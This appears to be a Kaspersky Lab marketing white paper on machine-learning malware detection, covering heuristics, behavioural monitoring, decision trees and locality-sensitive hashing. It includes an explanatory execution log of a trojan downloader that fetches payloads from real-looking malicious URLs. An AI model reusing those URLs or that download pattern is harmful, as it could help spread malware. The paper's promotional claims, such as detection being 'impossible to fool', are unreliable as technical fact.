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Machine Learning and Human 
Expertise

Every year, the quality of our protection wins Kaspersky Lab more awards than anyone else 
in the cybersecurity industry. This achievement would be impossible without our proprietary 
HuMachine™ Intelligence: the fusion of a global big data ‘cyberbrain’ powered by machine 
learning algorithms and the unequalled expertise of our security teams in combating ‘next-
gen’ threats. 

We offer you a ‘sneak peek’ into the heart of Kaspersky Lab’s anti-malware infrastructure, 
revealing our algorithms and their role in fighting the most dangerous threats to businesses 
like yours.

Our classical approach to automatic 
detection

Our virus collection contains samples of detectable threats grouped by detection 
names, e.g. Backdoor.Win32.Hupigon.abc. When a new, undetected sample 
arrives, we begin by searching our collection for similar samples. The search 
principle is roughly the same as that used by Google Search. The only difference 
is that Google Search is word-based, while our searches are based on file 
features. In the simplest scenario, if the sample has been unpacked successfully 
we can extract the strings responsible for the malware functionality and use 
them in much the same way as keywords are used by a search engine. 

At Kaspersky Lab, we have an automated system that handles both the analysis of 
files and the automatic classification of threats. 

«How do Kaspersky Lab’s 
advanced algorithms ensure 
the best protection for 
your business against cyber 
threats?»

Google service that searches for similar 
pictures on the Internet 
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This system sorts the inbound stream of samples while simultaneously adding 
hashes to identify and define detections. One simple hash record covers the 
detection of just one file, but in this way we can be sure there will no ‘false 
positives’.

When malware for which the collection contains no similar samples turns up, 
we know that this is either something completely new, or that it’s not malware 
at all. This is where the expertise of human AV Analysts comes into play. By 
unpacking and detecting a sample, the analyst creates a sort of “center of gravity” 
in the collection. Over time, other modified versions of the new sample will 
automatically gravitate towards this reference point. 

Heuristics-based approach to 
automatic detection

Exclusively hash-based detection only gets you so far: one slight file modification 
(e.g. a single byte added at the end), and the whole file becomes undetectable 
again. That’s why we unleash our heuristics-based automatic detection system 
on the whole family of our malware samples, for example, Backdoor.Win32.
Hupigon.abc. With the help of an emulator, the heuristics-based system creates 
execution logs of all the samples, finds their common execution patterns and 
creates a single execution-based heuristic record. The benefit of this approach 
is that new malware samples exhibiting similar behavior will be detected, even if 
the content includes some changes.

Let’s take a closer look at the process by which heuristic detection records are 
created. The robotic system uses machine learning to extract key execution 
sequences. The machine doesn’t know or care what particular purpose any 
sequence of commands serves. As far as it’s concerned, it’s enough to know that 
this or that execution sequence – or combination of sequences – is characteristic 
of some malware family and could not occur in any clean file. After some 
iterations, the most effective indicators and their combinations are automatically 
consolidated into records. 

Unlike this robot, an experienced human analyst can understand exactly what 
the sample is up to, despite its attempts to shake the heuristic system’s emulator 
off its trail. So he or she can write a record straight away, highlighting obvious 
malware-like behavior. 

These two different approaches tend to work in parallel, particularly when 
automatic detection results are undecided and an expert second opinion is 
needed. Robotic and human-made records then work in tandem, ensuring 
successful detection through perfect HuMachine™ harmony.

To evade detection, the malefactor may change the functionality of his or 
her malware. But there are limitations. Let’s assume the malware has basic 
functionality: downloading a file via a malicious link, saving the file to disk and 
starting it (Trojan-Downloader). There are no more than 10 programmatic ways 
to download anything from the Internet, and no more than five ways to start 
an executable file. When the malefactor has tried them all and found that every 
method is detected, their best option is probably to give up and instead mount 
an attack against a business with no security solution, or a solution lacking 
execution analysis tools.

Trojan-Downloader.Win32.Small.aon execution log

KERNEL32!LoadLibrary(0x004020B6 “KERNEL32.dll”); 
KERNEL32!GetTickCount(); 
KERNEL32!LoadLibrary(0x00403000 “kernel32.dll”);
KERNEL32!LoadLibrary(0x0040302C “urlmon.dll”);
urlmon!URLDownloadTofile(,0x00403061 “http://nursingkorea.co.kr/images/inf2.php?v=1”,0x004030C5 “c 
KERNEL32!Sleep()
KERNEL32!DeleteFile(0x004030C5 “c:\\boot.bak”);
urlmon!URLDownloadTofile(,0x0040308F “http://nursingkorea.co.kr/images/med1.gif”,0x004030B9 “c:\\4
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The malefactor may have another trick up their sleeve: knowing the emulation 
specifics, they can try to disrupt the emulation process by, for example, inserting 
long execution delays or asking for system parameters the emulator can’t 
provide. While some of these tricks can themselves be treated as indicators for 
detection, we can nonetheless detect the sample’s true functionality through 
a further method – using System Watcher, a system that monitors a process’s 
activities within the actual operating system.

System Watcher and behavioral 
detection

Unlike the emulator, System Watcher is a true behavioral detection system based 
on logs of real-life sample executions, so it’s impossible to fool. It has its own 
set of behavioral records, which in many ways resemble those of the emulator-
based detection system.

The scope of logging performed by System Watcher is considerably wider 
than is possible during emulation. And, unlike the latter process, this logging 
has unlimited timeframes: everything suspicious encountered within a given 
context is considered and cached until enough evidence for detection has been 
gathered. If malicious activity is detected, the action is simply rolled back.

As with the emulation system, System Watcher has its role in both on-premise 
detection and as a part of our in-lab wizardry. Incidentally, System Watcher activity 
is transparent and has no adverse impact on the process being monitored.

Continuous on-premise behavioral analysis creates an extremely powerful 
detection layer but unleashing the power of Kaspersky Lab infrastructure to 
execute suspicious files, study their behavior and provide threat-detection via 
KSN (Kaspersky Security Network) is even more effective.
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Sandboxes, KSN and… people.
As our HuMachine™ approach suggests, we continuously test samples – both 
known malicious and unknown – in our internal behavioral Sandbox systems. 
Some of these Sandboxes mimic user systems running standard products, while 
the most powerful have tremendously granular logging capabilities, allowing 
extremely fine-tuned detection. 

The Sandbox logs, along with System Watcher execution statistics received 
from KSN’s voluntary participants, are processed by both robots and human 
experts. Robots run two important processes: the logs of new malicious samples’ 
execution are studied using Machine Learning to find new detection indicators – 
and also unknown samples are detected, with static records created for 
subsequent use both in the Lab and on customers’ premises. So even if malware 
creators are resourceful enough to sidestep the majority of the on-premise 
detection layers – usually through extensive reconnaissance and preliminary 
testing – they’ll be no better off in the end.

Meanwhile, using robot-distilled indicators, human experts create effective 
behavioral records similar to those based on emulated execution, but with a very 
much wider range of indicators to utilize.

Smart records
The list of Machine learning-based processes doesn’t end with the above. 
There are more robotic detection layers capable of detecting sizable families of 
malware. Usually we call these ‘smart records’.

Anti-virus records based on decision trees 

The in-lab robotic part of this system analyzes the same collection of samples 
as above, and creates or improves records based on decision trees. This makes 
it possible to separate files into classes and to specify criteria sensitive to the 
features of those files. 

Adding up suspicious activities indicative of malicious behavior

Start a process

Inject into a process

Read the registry

Download object from URL

2* = MALICIOUS!
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On the chart: Axes of the 2 most informative attributes (of 4) two classes splitted accurately, 3 mistakes in 3rd class. 
Source: Coursera/Yandex 

How does this work? Let’s look at an example based on the Iris flower data set, a 
typical test case for statistical classification techniques. Say we have 150 flowers: 
50 samples each of Iris setosa, Iris virginica and Iris versicolor. To simplify the 
task, let’s take the two most informative features of these flowers: petal length 
(PL) and petal width (PW). Plotting the features of each sample provides data that 
can be used to create a decision tree which can then allocate one of the three 
classes to each new Iris through ‘request-response’, like this:

Our AV engine uses exactly the same kind of tree. Each decision tree is carefully 
fine-tuned and delivered to the user. The selected features of an individual file 
running on the user’s computer are extracted and run through each decision 
tree. The tree then uses the responses to decide whether or not the file is 
malicious. 

The advantage of this approach is its generalizing capabilities: each tree is created 
in-lab based on a small subset of the samples we have, but on users’ computers 
the tree will also detect any samples not yet acquired by our Lab. For example, in 
the picture above, any dot in the red zone will be detected as Iris setosa. A single 
tree-based record replaces an average of a thousand hash records.

Machine learning is indispensable to creating decision trees. While an expert can 
feed long lists of features to the robot, experts don’t create tree-based records 
on their own. Only a machine can extract and apply the data, selecting the best 
features and, most importantly, creating decision rules based on these features. 
The human expert just monitors the result and controls the process.

Locality-sensitive hashing

Tree-based detection models are great but still have one major shortcoming: 
while being created automatically in-Lab, they can only operate effectively on 
the host (user’s computer) where the particular file is studied. A cloud system 
based on this principle would create considerable network traffic, which is 
undesirable in most cases. 

Hash-based cloud systems, by contrast, are considerably lighter in terms of 
traffic. But a typical cryptographic hash, such as MD5 or SHA256 for example, 

http://koddo.github.io/coursera-yandex-intro-to-machine-learning/week-01b/
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nearly always corresponds to one file only. It’s good that you won’t find a second 
file with the same hash; false positives are out of the question here. But it would 
be great having a hash that’s the same for all malware belonging to the same 
family. In other words, insignificant file modifications would not affect the hash. 
This is in fact possible with so-called LSH, or Locality-Sensitive Hashing. Requests 
resulting in detections based on this hash can be made via cloud.

How do we calculate levels of similarity between files? Consider the following 
example: 

Assume that File A is characterized by the following numerical features:

31, 83, 98, 86, 183, 79, 67, 153, 77, 67

Meanwhile, File B is slightly different:

27, 89, 93, 81, 190, 71, 67, 161, 75, 69

All numbers can be “rounded down” by dividing them by 10. We get:

File A: 3, 8, 9, 8, 18, 7, 6, 15, 7, 6
File B: 2, 8, 9, 8, 19, 7, 6, 16, 7, 6

As you can see, the feature values are almost identical now. 

Here’s another approach: calculate the arithmetic mean of numbers in the first 
and second halves of each of the two files above. The answer turns out to be:

File A: 96, 88
File B: 96, 88

In this case, the LSH hashes are identical.

The challenging aspect of this approach involves choosing features that vary 
slightly within the same malware family, but which are still different enough to be 
recognized where a specific clean file is concerned. These features then need to 
be “quantized” (simply put, they are processed so that their precision is reduced). 
As you may have guessed, only a robot can do this. But the task is still formulated 
by a human expert.

general hashing locality-sensitive hashing

  

 

The multi-colored points (files) on the left are hashed using the traditional approach — the hashes do not have anything in common; 
on the right they are hashed into an LSH hash — files that are not very different get identical hashes.
Source: 0110.be

https://0110.be/Software
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The Malware Path

All samples (regardless of how they made it into the collection) are frequently 
re-analyzed for any new detections using generalization technologies (previously 
described heuristic autorecords/tree-based records/locality-sensitive hash 
records). If a sample was previously detected using only the individual hash, the 
detection is “generalized” by machine learning, so it’s included into some big 
‘family’ of malware described only by a single record. After that, the individual 
hash record is deleted.

32 are detected 
automatically in-lab, 
based on similarities to 
the samples from our 
malware collection.

9,900 will have been detected 
by smart records (like locality-
sensitive hashes and records 
based on decision trees). 

Out of the remaining 
100 samples,

65 are detected 
on execution, 
using System Watcher’s 
behavioral detection.

The three 
remaining samples 
are analyzed and 
detected manually 
by an AV Analyst.

Of the remaining 
35 samples,

Out of 10,000 “new” 
samples, this is the sort of 
scenario we might expect:
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Keeping False Positives at Bay

The story of Machine Learning-powered heuristic detection would not be 
complete without mentioning the issue of false positives. As with any method 
based on the generalization principle, these techniques contain the inherent 
potential for mistakes, resulting in false positive detections. Unexpected shifts in 
the threat landscape can increase the probability of this happening, so, as well 
as constant adjustment of the detection models, constant and very tight control 
over false positives is required.

Kaspersky products incorporate automated mechanisms for the tracking, timely 
switch-off and correction of faulty records. But, following the principle of multi-
layeredness in everything and the best possible outcome for customers, all the 
records, including those created by robots, are under constant scrutiny from the 
most experienced analysts. They make sure that the records are thoroughly tested 
and adjusted at appropriate intervals to ensure the highest possible detection 
rates while keeping the number of false positives as close to zero as possible. As 
independent tests consistently prove, they are extremely good at this!

All the technologies and approaches described here are instrumental in 
achieving True Cybersecurity – but we’re always inventing new ones, to keep 
every next generation of threats at bay.
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